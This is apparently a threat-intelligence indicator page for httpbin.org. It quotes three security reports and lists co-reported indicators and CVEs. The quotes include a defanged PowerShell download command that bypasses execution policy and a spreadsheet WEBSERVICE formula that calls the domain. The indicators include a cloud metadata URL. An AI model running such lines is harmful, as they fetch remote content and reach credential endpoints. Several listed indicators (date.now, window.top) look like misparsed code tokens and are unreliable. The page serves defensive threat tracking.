httpbin[.]orgDomain
Reported by 3 independent sources · first reported by Group-IB · last reported
Last reported 1 month ago
What the reports say
3 reports, newest first · the exact sentence from each-
Open Season on Kapibala: Attacker Steals Over 18,000 Government Records Through WordPress Exploitation“powershell.exe -NoProfile -ep bypass -c "(New-Object Net.WebClient).DownloadString(\'hxxp://httpbin[.]org/get\')" 2>&1”
-
Agents at Large | Tracing Illicit OpenAI Agent Activity on Hugging Face“A4: =WEBSERVICE("hxxps://httpbin[.]org/base64/UkVNT1RPSFgo")”
-
Smish. Click. Drained: Inside the Smishing Triad’s Phishing Cockpit“Sequential outbound calls to ipinfo.io, ipapi.co, ip-api.com, httpbin[.]org/ip (the 4-provider geolocation rotation).”
Indicators reported together
named in the same reports- com[.]twin 1 report
- obfuscator[.]ioin 1 report
- a502264fa0b64eecae60498b0c48fca3in 1 report
- hxxps://httpbin[.]org/base64/UkVNT1RPSFgoin 1 report
- hxxp://169.254.169[.]254/metadata/instance?api-version=2021-02-01in 1 report
- mail[.]tmin 1 report
- reg[.]runin 1 report
- window[.]topin 1 report
- re[.]searchin 1 report
- trsb[.]topin 1 report
- date[.]nowin 1 report
Copy these 11 indicators · defanged
Also named with it: CVE-2026-60004, CVE-2022-0847, CVE-2026-60137, CVE-2026-63030, CVE-2023-54391, CVE-2026-34908, CVE-2026-34909, CVE-2026-34910, CVE-2026-7273
Thanks — we review every report.